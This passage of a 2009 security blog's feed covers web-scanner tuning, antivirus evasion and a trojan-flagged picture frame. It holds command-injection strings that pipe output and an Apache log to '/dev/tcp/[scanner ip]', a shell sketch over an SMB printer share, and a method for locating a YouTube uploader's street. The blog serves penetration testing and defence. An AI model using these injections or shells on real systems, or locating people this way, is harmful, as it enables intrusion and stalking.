src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4876592522595831579?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/4876592522595831579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=4876592522595831579' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4876592522595831579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4876592522595831579'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html' title='Reverse Pivots with Metasploit - How NOT to make the lightbulb'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-9015117194748551926</id><published>2009-01-28T20:45:00.010-05:00</published><updated>2009-01-31T14:29:58.169-05:00</updated><title type='text'>I know where you live... or at least google does</title><content type='html'>Can you use YouTube.com to find out where a video was uploaded? I’m not saying you can. I’m not saying you can’t. But I think it is interesting to try. Using the following method YouTube has led me to the homes of a few people I know. Does it work for you??&lt;br /&gt;&lt;br /&gt;Start with YouTubes “Advanced Search”.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/results?search_type=&amp;amp;search_query=#"&gt;http://www.youtube.com/results?search_type=&amp;amp;search_query=#&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_wHrCn3UcXN0/SYELhcpOMTI/AAAAAAAAAEA/i83dUkJ6i3A/s1600-h/youtubeadvanced.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5296527306017091890" style="WIDTH: 320px; CURSOR: hand; HEIGHT: 288px" alt="" src="http://3.bp.blogspot.com/_wHrCn3UcXN0/SYELhcpOMTI/AAAAAAAAAEA/i83dUkJ6i3A/s320/youtubeadvanced.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Click “Advanced Options” and “Show Map”. Type in the userid of the person your trying to location and click the SEARCH box inside the advanced search box (not the one at the top). If the video is in the circle it will be displayed in the result. If not you will see “No Videos found for xyz” and a playlist for the user you are searching for. The difference between a hit/no hit is subtle. Do a search for something you know is geoencoded so you can see the differenece. As a rule, if you see this then the video is not in the circle.&lt;br /&gt;&lt;br /&gt;No videos found for “USERXYZ”&lt;br /&gt;Playlist Results for USERXYZ&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Zoom in one click at a time making your circle smaller and smaller to see if the video is still in the circle. If search results disappears, its no longer in the circle. Using this method you could take the search down to a city block or so. Then you can switch to &lt;a href="http://maps.google.com/"&gt;http://maps.google.com/&lt;/a&gt; and enable the YouTube overlay. You may find the video is places directly on top of the house where it was uploaded. But a video overlay only appeared in 1 out of the 6 times that I tried to narrow down to a street. It looks like the youtube overlays of Google maps doesn't have as much data as the map search on youtube.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_wHrCn3UcXN0/SYELwx6RBOI/AAAAAAAAAEI/ATZJRBFbBto/s1600-h/googlemaps.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5296527569423762658" style="WIDTH: 320px; CURSOR: hand; HEIGHT: 166px" alt="" src="http://4.bp.blogspot.com/_wHrCn3UcXN0/SYELwx6RBOI/AAAAAAAAAEI/ATZJRBFbBto/s320/googlemaps.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I tested it with 3 video’s where I knew the target street address and in all 3 cases was able to locate their street. In one of the three cases the Google maps overlay displayed the YouTube video on top of the correct house. In one other case I narrowed down a video to a street, but when I asked the account owner about the address he had no idea how that address related to his video although it was within a few miles of his house. There were several cases where I couldn’t get YouTube to return any Geo-encoded video’s on that users account. Its not science, but here is some interesting data being revealed by that search.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;UPDATE 1-31:  It appears that in the test case where the video led me to a strange location several miles from the account owners home, the video may have been tagged to the geographic center of the zip code of  the uploader.   This is going to be a significant stumbling block for any open source youtube geotagging missile guidances system projects resulting from this ground breaking research.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-9015117194748551926?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/9015117194748551926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=9015117194748551926' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9015117194748551926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9015117194748551926'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/i-know-where-you-live-or-at-least.html' title='I know where you live... or at least google does'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wHrCn3UcXN0/SYELhcpOMTI/AAAAAAAAAEA/i83dUkJ6i3A/s72-c/youtubeadvanced.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-9207897790716785747</id><published>2009-01-26T14:38:00.017-05:00</published><updated>2009-01-27T21:42:35.905-05:00</updated><title type='text'>WebInspect and Arbitrary Command Execution</title><content type='html'>&lt;div&gt;I won't be the first to say it, but its worth repeating; No scanner is a substitute for a human penetration test.   That said, I find that WebInspect saves me a lot of time and often either finds vulnerabilities for me OR, just as often, generates error messages that lead me to finding issues pretty quickly.   I like to think of it as a web app fuzzer on steroids.  Here is a custom signature I've added to help me cover my bases.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;When WebInspect scans for arbitrary command execution, it will only detect the flaw when the results of the command execution are returned to the browser.  For example, it will inject   "; id" into all the field on a page.   If it doesn't see "uid=0(root) "  (or preferrably the uid for an a less priveleged apache httpd user)  returned from the web server somewhere in that response then it doesn't detect the vulnerability.   But the web server  very well may have executed code invisibly.   Consider this example:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A website has a function to submit comments to the website administrator.   The comment form takes a field of user input and makes it the subject line of an email to the website administrator.     The back end system passes the user input as the -s parameter to /usr/bin/mail sending an email to the admin.   If the back end fails to properly sanitize input then WebInspect would successfully inject  " /usr/bin/mail -f subject; id"  but the results of id would not be returned in the browser and thus go undetected.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Here is something that can make detecting these issues a little easier.   Use the "POLICY MANAGER" to add a "CUSTOM CHECK" that does "PARAMETER INJECTION".   Have your new custom check send the following command.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;";date &gt; /dev/tcp/[your scanner ip address]&lt;yourscannerip&gt;/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;As you run your scan have a netcat listener with -L (capital L) running to catch the results as follows:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;nc -L -p 80&lt;/div&gt;&lt;br /&gt;&lt;div&gt;It will still require some work to figure out exactly which parameter was vulnerable to the attack, but the time displayed in your netcat listener will help to narrow your search.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In addition to injecting a semicolin you will probably want to create all of these signatures as well..&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;"date &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;"&amp;amp;date &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;"`date &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;"```date &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;"\ndate &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;and various combinations of those attacks:&lt;/div&gt;&lt;div&gt;"|&amp;amp;;"date &gt; /dev/tcp/&lt;yourscannerip&gt;[your scanner ip address]/80"&lt;/yourscannerip&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If "date" doesn't narrow it down for you enough you might try this..&lt;/div&gt;&lt;div&gt;"tail /var/log/apache/access.log &gt; /dev/tcp/[your scanner ip address]/80"&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-9207897790716785747?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/9207897790716785747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=9207897790716785747' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9207897790716785747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9207897790716785747'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/webinspect-and-arbitrary-command.html' title='WebInspect and Arbitrary Command Execution'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4537774708074587775</id><published>2009-01-21T21:18:00.006-05:00</published><updated>2009-01-22T22:33:07.075-05:00</updated><title type='text'>Today is a good day!</title><content type='html'>&lt;div&gt;First I learned via Wesley McGrew's website that I won Ed Skoudis' &lt;a href="http://www.ethicalhacker.net/content/view/218/2/"&gt;December hacking challenge&lt;/a&gt;.  When I look at the list of people who submitted answers, I feel really good to be included in that list of "notable security studs".    Thanks to Ed for putting together a fun challenge.  I always learn a lot any time I do anything related to Jedi Master Skoudo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.ethicalhacker.net/content/view/230/1/"&gt;Challenge results&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;THEN I see this entry on Wesley's blog on &lt;a href="http://www.mcgrewsecurity.com/2009/01/06/pretending-to-be-a-printer-with-netcat/"&gt;pretending to be a printer with netcat&lt;/a&gt;.  It occurs to me that this is the other end of my netcat w/o netcat shell shoveling attempts &lt;a href="http://www.indepthdefense.com/2008/04/shoveling-windows-shell-over-printer.html"&gt;I blogged about back April 08&lt;/a&gt;.   Using that technique I was able to shovel command output to netcat running on an arbitrary port.  But I really want a bidirectional interactive shell.   The thought is this.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1) Share a netcat listener on my linux box over SMB.   &lt;/div&gt;&lt;div&gt;2) That netcat printer share must be a BIDIRECTIONAL printer and not be spooled&lt;/div&gt;&lt;div&gt;3) Net use lpt1 \\attackerip\netcatshare&lt;/div&gt;&lt;div&gt;4) command.com lpt1&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;command.com (The 16 bit predecessor to CMD.EXE) allows you to redirect I/O to a device.   Seems like it should work.    This should be fun. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4537774708074587775?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/4537774708074587775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=4537774708074587775' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4537774708074587775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4537774708074587775'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/today-is-good-day.html' title='Today is a good day!'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-8675361881422150298</id><published>2009-01-20T23:29:00.002-05:00</published><updated>2009-01-20T23:42:00.332-05:00</updated><title type='text'>Infeasibility of Modeling Polymorphic Shellcode</title><content type='html'>This is a &lt;a href="http://cs.gmu.edu/%7Eastavrou/research/model-polymorphic-decoders.pdf"&gt;very interesting paper&lt;/a&gt; from some smart people at Columbia University.  Here is my  layman's summary for the terminally lazy:&lt;br /&gt;&lt;br /&gt;Intro (paraphrase):&lt;br /&gt;We are going to model the feasibility of modeling polymorphic shellcode to see if we can rely on antivirus heuristics and behavioral detection techniques.&lt;br /&gt;&lt;br /&gt;Body (paraphrase):&lt;br /&gt;Examine a ton of models &amp;amp; do some math that makes my head hurt.&lt;br /&gt;&lt;br /&gt;Conclusion:&lt;br /&gt;"Our empirical results demonstrate the difficulty of modeling polymorphic behavior. We briefly summarized the achievements of the shellcoder community in making their code polymorphic and examined ways to improve some of these techniques. We presented analytical methods that can help assess the capabilities of polymorphic engines and applied them to some state-of-the-art engines. We explained why signature–based modeling works in some cases and confirmed that the viability of such approaches matches the intuitive belief that polymorphism will eventually defeat these methodologies. The strategy of modeling malicious behavior leads to an unending arms race with an attacker.  Alternatively, whitelisting normal content or behavior patterns (perhaps in randomized ways in order to defend against blending attacks) might ultimately be safer than blacklisting arbitrary and highly varied malicious behavior or content."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-8675361881422150298?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8675361881422150298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8675361881422150298'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/infeasibility-of-modeling-polymorphic.html' title='Infeasibility of Modeling Polymorphic Shellcode'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-800015808365087166</id><published>2009-01-10T13:09:00.006-05:00</published><updated>2009-01-22T23:05:54.678-05:00</updated><title type='text'>Door Schedule Fail</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_wHrCn3UcXN0/SWjkuerilKI/AAAAAAAAAC8/QDqsvzTFZlA/s1600-h/IMG_0314.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_wHrCn3UcXN0/SWjkuerilKI/AAAAAAAAAC8/QDqsvzTFZlA/s400/IMG_0314.JPG" alt="" id="BLOGGER_PHOTO_ID_5289729249507447970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Huh?  I see this sign frequently.  So I went ahead and figured it out.  The diagram below reveals the door schedule.  I assigned a number to each of the times the door is closed, 1=9:30 pm - 4:00 am ; 2 = Monday - Friday; 3= 9:30 pm  etc..  So I guess they only unlock the stair wells on weekends when no one is in the office.  Must be a security measure.  :)&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse;"&gt;  &lt;table border="0" cellpadding="0" cellspacing="0" width="523" style="border-collapse: collapse"&gt; &lt;!--StartFragment--&gt;  &lt;col width="148" style="mso-width-source:userset;mso-width-alt:5412"&gt;  &lt;col width="75" span="5"&gt;  &lt;tbody&gt;&lt;tr height="13"&gt;   &lt;td height="13" width="148"&gt;&lt;/td&gt;   &lt;td width="75"&gt;Sat, Sun&lt;/td&gt;   &lt;td width="75"&gt;Mon&lt;/td&gt;   &lt;td width="75"&gt;Tues-Thurs&lt;/td&gt;   &lt;td width="75"&gt;Friday&lt;/td&gt;   &lt;td width="75"&gt;Holidays&lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="13"&gt;   &lt;td height="13"&gt;00:00am-04:00am&lt;/td&gt;   &lt;td class="xl24" num="1.0"&gt;1&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,5&lt;/td&gt;   &lt;td class="xl24"&gt;1,2&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,4&lt;/td&gt;   &lt;td class="xl24"&gt;1,6&lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="13"&gt;   &lt;td height="13"&gt;4:01-9:29pm&lt;/td&gt;   &lt;td class="xl25"&gt;OPEN&lt;/td&gt;   &lt;td class="xl24"&gt;2,5&lt;/td&gt;   &lt;td class="xl24"&gt;2&lt;/td&gt;   &lt;td class="xl24"&gt;2&lt;/td&gt;   &lt;td class="xl26"&gt;6&lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="13"&gt;   &lt;td height="13"&gt;9:30pm&lt;/td&gt;   &lt;td class="xl24"&gt;1,3&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,3,5&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,3&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,3&lt;/td&gt;   &lt;td class="xl24"&gt;1,3,6&lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="13"&gt;   &lt;td height="13"&gt;9:31pm-11:59 pm&lt;/td&gt;   &lt;td class="xl24" num="1.0"&gt;1&lt;/td&gt;   &lt;td class="xl24"&gt;1,2,5&lt;/td&gt;   &lt;td class="xl24"&gt;1,2&lt;/td&gt;   &lt;td class="xl24"&gt;1,2&lt;/td&gt;   &lt;td class="xl24"&gt;1,6&lt;/td&gt;  &lt;/tr&gt; &lt;!--EndFragment--&gt; &lt;/tbody&gt;&lt;/table&gt;    &lt;/span&gt;    &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-800015808365087166?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/800015808365087166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/800015808365087166'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/door-schedule-fail.html' title='Door Schedule Fail'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_wHrCn3UcXN0/SWjkuerilKI/AAAAAAAAAC8/QDqsvzTFZlA/s72-c/IMG_0314.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2330529456665865137</id><published>2009-01-04T17:49:00.005-05:00</published><updated>2009-01-19T22:36:16.088-05:00</updated><title type='text'>Metasploit Visual Basic Payloads in action</title><content type='html'>John Strand turned me on to this at CDI in December.   We were talking about my presentation on the effectiveness of antivirus in detecting metasploit payloads and he asked if I had done any testing on the visual basic payloads.  At the time I had not, but now I have to agree with John's assersion that this is potentially a very scary and powerful feature.   Metasploit payloads can easily be embedded in Microsoft Office Documents and, as you might expect if you've read my previous blogs,  antivirus software does not detect the payloads.    I made a video to demonstrate the creation and use of the payloads.&lt;br /&gt;&lt;br /&gt;To mitigate these attacks you can use Group policy to set your Office Document Macro Security to HIGH.  You could use the Medium setting if you work for that mythical company where users don't ignore security warnings.  Here are some helpful links&lt;br /&gt;&lt;br /&gt;&lt;a href="http://office.microsoft.com/en-us/orkXP/HA011365091033.aspx"&gt;Setting Macro Levels&lt;/a&gt;&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/library/cc179176.aspx"&gt;Office Group Policy Templates&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" height="780" width="1090"&gt; &lt;param name="movie" value="http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/bootstrap.swf"&gt; &lt;param name="quality" value="high"&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/FirstFrame.jpg&amp;amp;width=1090&amp;amp;height=780&amp;amp;content=http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/vbaexploitation.swf"&gt; &lt;param name="allowFullScreen" value="true"&gt; &lt;param name="scale" value="showall"&gt; &lt;param name="allowScriptAccess" value="always"&gt; &lt;param name="base" value="http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/"&gt;  &lt;embed src="http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/bootstrap.swf" quality="high" bgcolor="#FFFFFF" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="thumb=http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/FirstFrame.jpg&amp;amp;width=1090&amp;amp;height=780&amp;amp;content=http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/vbaexploitation.swf" allowfullscreen="true" base="http://content.screencast.com/users/huperdefigo/folders/Default/media/bf533140-27bb-4b0f-916c-7f2ffaeedb40/" scale="showall" height="780" width="1090"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.screencast.com/t/MSbSAeUe"&gt;Or click here to &lt;/a&gt;&lt;a href="http://www.screencast.com/t/MSbSAeUe"&gt;check it out!&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2330529456665865137?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2330529456665865137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2330529456665865137'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/metasploit-visual-basic-payloads-in.html' title='Metasploit Visual Basic Payloads in action'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-7235633380597499365</id><published>2009-01-04T17:31:00.002-05:00</published><updated>2009-01-04T17:49:20.060-05:00</updated><title type='text'>SANS Masters Program is great!</title><content type='html'>The SANS Masters program is an AWESOME program.  First, as any security professional knows, SANS is the premier provider of information security training.   In my opinion the tremendous value in the knowledge you get from each individual SANS course is magnified by having them in a structured program that ensures your exposed to the both the depth and breadth of the information security field.  You get to rub shoulders and discuss topics with leaders in our field.  Last month at SANS CDI I got to talk with Ed Skoudis, Mike Poore, John Strand, Johannes Ullrich, Eric Conrad and others.   I had the opportunity to stand up at a SANS conference and give a presentation to a respectable audience which included  Stephen Northcutt.   What other school program gives you the chance to speak with such a team and PRESENT to Stephen?   Throw in the opprotunity to work as a team with other students who are themselves leaders in this field and you have a great program that I am very excited to be a part of.   &lt;br /&gt;&lt;br /&gt;Check it out at &lt;a href="http://www.sans.edu"&gt;www.sans.edu.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-7235633380597499365?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7235633380597499365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7235633380597499365'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/sans-masters-program-is-great.html' title='SANS Masters Program is great!'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-7263167464424573034</id><published>2009-01-03T12:26:00.003-05:00</published><updated>2009-01-03T12:47:59.237-05:00</updated><title type='text'>Who would you trust?</title><content type='html'>There is no shortage of stories about infected digital picture frames out there.  The SANS Internet Storm Center has had several posts on the &lt;a href="http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;channel=s&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;hs=mrp&amp;amp;q=site%3Asans.org+digital+frame+virus&amp;amp;btnG=Search"&gt;subject&lt;/a&gt;.   When Santa brought my daughter a Sakar &lt;a href="http://www.sakar.com/p-2285.aspx?categoryid=178"&gt;"Portable Digital Picture Frame"&lt;/a&gt;  I was sure to scan it with some antivirus software.   Sure enough, McAfee reports a Trojan exists in on the device.   I checked the Manufacturers  support page and found this note on the Product FAQ..&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"Does my product have a virus?&lt;div&gt;No. It has come to our attention that some versions of McAfee Antivirus are warning users about a potential virus in one of our files. We have confirmed that this is a false positive. There is no virus and users can install and use their frame without any fear of a virus infection. To avoid any installation issues, we suggest McAfee be temporarily suspended during installation and use. Users of Symantec and other antivirus products are not affected."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Other antivirus products are not affected.  It must just be a McAfee issue right?   What does &lt;a href="http://www.virustotal.com/analisis/cb8630bb8830ed893bc1ffe4746d92b3"&gt;virustota&lt;/a&gt;l have to say?  18/38 (47.38%) of the virus scanners out there report it is a virus.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Norman Sandbox says ..&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="  -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;FEnCodeUnicode.dll : INFECTED with W32/Packed_Nspack.A (Signature: W32/Packed_Nspack.A)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So who do you believe?    Me?  I don't believe either of them.    I can either run the software on an isolated machine and looks for signs of malicious activity or return the product and buy one that doesn't require several hours of analysis before we can use it.     Hmm.. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-7263167464424573034?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7263167464424573034'/><link rel='self' type='application/atom+xml' 